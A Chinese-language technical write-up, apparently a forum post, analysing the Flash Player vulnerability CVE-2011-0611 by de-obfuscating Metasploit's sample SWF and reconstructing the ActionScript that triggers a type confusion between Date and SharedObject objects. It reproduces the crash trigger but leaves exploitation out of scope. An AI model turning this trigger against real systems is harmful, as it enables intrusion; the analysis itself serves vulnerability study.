CVE-2011-0611 分析

参考文献:

http://secunia.com/blog/210/

写的理由:

回过头来看,Secunia的文章对该样本的分析已经非常详尽了,但是,在最初拿到样本,对照文章逐步对其进行解剖时,总是会许多无从下手的问题。

所以,就有了写这篇分析的想法,一方面是锻炼英文,一方面是因为“Happiness is only real when shared“,希望大牛们对文章中的错误

作出指正。好了,言归正传,下面就开始进入正题吧。

漏洞概述:

此处不再赘述。

分析正文:

Secunia的样本是一个嵌入了Flash的Word文档,文档名为"Disentangling Industrial Policy and Competition Policy.doc",可以在文章附件获取到

,嵌入的Flash偏移地址是0x2E08,流大小为0x2775字节。我们分析的样本是Metasploit中的CVE-2011-0611.swf,大小为1484字节,文件不同,原理一

致。



图片 Head.jpg

在对SWF格式零知识的情况下,用Flasm对样本进行反编译,命令行为 flasm -d CVE-2011-0611.swf > Now.txt,提示解码错误。



图片 DecodeErrorOne.JPG

错误信息为常量池(constant pool)长度错误,与Secunia文章中提到的第一个错误一致。

************************************************************************************************************************************
                    
ActionRecode格式为:                  
                      
值域    类型        描述          
                        
ActionCode  UI8        Action类型        
Length    如果Code大于0x80,长度为UI16  ActionCode后面数据的字节数    
                      
常量池的格式为:                   
                      
值域      类型    描述            
                        
ActionConstantPool  UI8    0x88                
Count      UI16    常量个数          
ConstantPool         STRING[Count]      字符串常量          
                      
说明:在每个Action Block首部,如果有任何变量,方法或字符串使用了两次以上,那么Flash会建立一个常量池。实际上,只要有一个变量使用了一次以上,该代码块中的所有字符串都会加入该池。                    
                      
************************************************************************************************************************************

错误的常量池改正后为:



图片 HeadCorrected.JPG

再次使用Flasm进行反编译,解码结果仍然提示 Disassembly may be incomplete:wrong action length encountered,即错误的Action长度。一个一个记录的检查肯定坑爹,使用010 Editor + SWF

Template进行格式检查,模板结果显示SWF解析至DoAction段就出现了错误。打开DoAction节点,错误发生在0x5B1处。



图片 TemplateResult.JPG


图片 ParseError.JPG

发生错误的记录类型为0x96,ActionPush

************************************************************************************************************************************
                      
值域      类型    描述            
                      
ActionPush    ActionRecord  0x96,ActionRecord的长度为值类型和值的字节数  
Type      UI8    0 = 以Null为终止符的字符串      
          1 = 32位小端浮点数        
          以下类型在SWF >= 5 版本有效      
          2 = null          
          3 = undefined          
          4 = register          
          5 = boolean          
          6 = 64位双精度小端double      
          7 = 32位小端integer        
          8 = constant 8          
          9 = constant 16          
                      
************************************************************************************************************************************

该ActionPush记录为 96 27 01 FB 68 DB 39 D5 54 73 34 0F 46 40 9E 66 12

首先记录长度错误,将 27 01 修改为 0E 00,然后修改一个字节的类型,将 FB 修改为 00 字符串类型。

再次使用Flasm进行反编译,结果提示表示一个Action中存在分支结构,这些分支结构即为Secunia提到的复杂混淆,下面的工作是消除这些混淆。反编
译结果中存在较多形同如下代码的无效指令:

push FALSE, 326943637, 326943739  //压入两个数
oldEquals  //是否相等,显然不等
not    //结果取反为真
branchIfTrue label44  //满足跳转

将所有的没有必要的前向跳转和后向跳转去掉,例如:

label2:
  branch label8
label4:
  ... ...
label8:
  push X_PROPERTY, UNDEF, X_PROPERTY, c:0
  branch label4

可以简化为:

label2:
  push X_PROPERTY, UNDEF, X_PROPERTY, c:0
  ... ...

去混淆结果“代码块一”为,已经将常量索引用具体字符串替代:

代码:
frame 0
      constants 'String', 'length', 'charCodeAt', 'fromCharCode', 'charAt', 'case', 'TextFormat', 'size', 'ABCDE'... ...
  
  function2 default (r:2='') ()
          push X_PROPERTY, UNDEF, X_PROPERTY, 'String'
          new
          setRegister r:3
          pop
          setRegister r:1
          pop
          setRegister r:1
          pop
       label1:
          push r:1, r:2, 'length'
          getMember
          lessThan
          not
          branchIfTrue label2
          push r:1, 1, r:2, 'charAt'
          callMethod
          trace
          push r:3, r:1, 1, r:2, 'charCodeAt'
          callMethod
          push 3
          subtract
          push 1, 'String'
          getVariable
          push 'fromCharCode'
          callMethod
          add
          setRegister r:3
          pop
          push r:1
          increment
          setRegister r:1
          pop
          branch label1
       label2:
          push r:3
          return
      end // of function default  
看到上面的代码块,可能有点儿惘然,function2、r:数字、getMember、callMethod、等等关键词是什么含义,理解了这些关键词,还原

ActionScript的问题就迎刃而解了。

************************************************************************************************************************************

1.function2

我们的理解是自定义函数类型,下面给个简短的AS块:

function foo(strParam_1:string, strParam_2:string)
{
  trace(strParam_1.length);
  trace(strParam_2.length);                    
}

foo('Adobe','flash');

反编译结果:

代码:
frame 0
  function2 foo(r:1 = 'strParam_1', r:2 = 'strParam_2')()
    push r:strParam_1, 'length'
    getmember
    trace
    push r:strParam_2, 'length'
    getmember
    trace
  end
  
  push 'Flash', 'Adobe', 2, 'foo'  //AVM 支持连续push
  callFunction
  pop
  end
2.寄存器  r:标识符 

在AVM中的表示为全局寄存器,Flash虚拟机(以下简称为AVM)中有4个全局寄存器,r:0、r:1、r:2、r:3,访问变量比访问寄存器要慢许多,所以应该将最常用的变量存入寄存器以供访问。

同时在function2中有r:0 ~ r:254 一共255个本地寄存器,可以通过标识符访问,例如 r:strParam_1

将一个变量存入寄存器:

push 'paused'
getVariable
setRegister r:1

取用时,使用r:1,例如:push r:1。

3.getVariable/setVariable 字面理解就是获取/设置变量的实际值,该方法在调用之后不会将值从堆栈中弹出,需要自行POP栈顶。

4.setRegister 设置寄存器值,该方法在设置值之后不会将值从堆栈中弹出,需要自行POP栈顶。

5.getMember 访问一些类型支持的成员函数,例如 

push 'String', 'length'
getMember 

即调用'String'.length;

6.callMethod 访问一些AVM支持的方法,例如 

push 1, 'String'
getVariable
push 'fromCharCode'
callMethod

即调用 'String'.fromCharCode(1),压栈顺序遵循 参数...对象...方法。

7.调用约定 

多数情况下,AVM中遵循这样的规则 最右边参数... ... 最左边参数... ... 参数个数... ... 函数  

8.宏,我们还不知道标准的称呼是?举个小例子便于理解:

getProperty('a', _x),获取'a'对象的_x属性,可以反编译为:

push 'a', Y_PROPERTY, 
getProperty

setProperty('box2', _y, getProperty('box1', _y)),可以反编译为:

push 'box2', Y_PROPERTY, 'box1', 1
getProperty
setProperty

涉及到的宏为  

_x  0  X_PROPERTY 
_y  1  Y_PROPERTY

************************************************************************************************************************************

如果能理解这些编译规则,那么就可以对去混淆后的代码块进行还原了。

default函数还原后为将传入的字符串的每个字符值减3,伪代码(好烂的伪代码)为:

代码:
default(string){
  var i = string.length;
  var res;
  while(i)
  {
    var a = string.charAt(i);
    a = a - 3;
    res += a;
    i--;
  }
  return res
}
代码块二

  
代码:
push 'case', X_PROPERTY, 'TextFormat'
      new
      varEquals
      push 'Gdwh1surwrw|sh', 1, 'default', 'wwrsurw@w+th', 1, 'getTextExtent', 'case', 'zwsw3surwrw+th', 1,... ...   
     getVariable
      push 'size', 100
      setMember
      getVariable
      swap
      callMethod
      pop
      getVariable
      swap
      callMethod
      pop
      callFunction // A
      getVariable
      push 'ABCDE', 'VkduhgRemhfw1surwrw|sh', 1, 'default'
      callFunction  // B
      getVariable
      push 'getSize'
      getMember
      setMember
      push 'Gdwh1surwrw|sh', 1, 'default'
      callFunction  // C
      getVariable
      push 'getDay'

      function2 () (r:1='this')
          push X_PROPERTY, r:this, 'ABCDE'
          callMethod
          pop
      end // of function 
简化为:
  
代码:
push 'Date.prototype'
  getVariable

  push 'ABCDE', 'SharedObject.prototype'
  getVariable

  push 'getSize'
      getMember
      setMember 

  push 'Date.prototype'
      getVariable

  push 'getDay'
      function2 () (r:1='this')
          push 0, 1, r:this, 'ABCDE'
          callMethod
          pop
      end
还原为ActionScript:
  
代码块三
  
代码:
setMember
      push X_PROPERTY, 'getFontList', 'TextField', 1, 'Math', 2, 'createEmptyMovieClip', 'this', ... ...
      varEquals
      new
      varEquals
      getVariable
      swap
      callMethod
      varEquals
      getVariable
      swap
      callMethod
      pop
      getVariable
      swap
      callMethod
      pop
      getVariable
      swap
      callMethod
      pop
      getVariable
      swap
      callMethod
      pop
      getVariable
      swap
      callMethod
      pop
      getVariable
      swap
      callMethod
      pop

简化为:
  push 'continue', 3.1415926, 1, 'Date'
      new
      varEquals
      push 'case', 1.41466385537348e-315, 1, 'Date'
      new
      varEquals
      push 0, 'getDay', 'case'
      getVariable
      swap
     callMethod
根据调用规则,将代码块二和三简化的结果还原为ActionScript如下:

代码:
Date.prototype.ABCDE = SharedObject.prototype.getSize;
Date.prototype.getDay = function () {this.ABCDE();};

var f:Date = new Date(1.41466385537348e-315);
f.getDay();
浅层原因:

1.41466385537348e-315 在堆栈中保存时的形式为 0x11111110

调用f.getDay()时,相当于调用 SharedObject.prototype.getSize, 将传入的Data对象误认为SharedObject,导致将 0x11111110 作为函数虚表地址

访问,造成访问异常。

漏洞利用:

暂不在本文讨论范围之内。



分析文档见附件。
上传的附件 CVE-2011-0611.pdf
CVE-2011-0611.rar[解压密码是:pediy]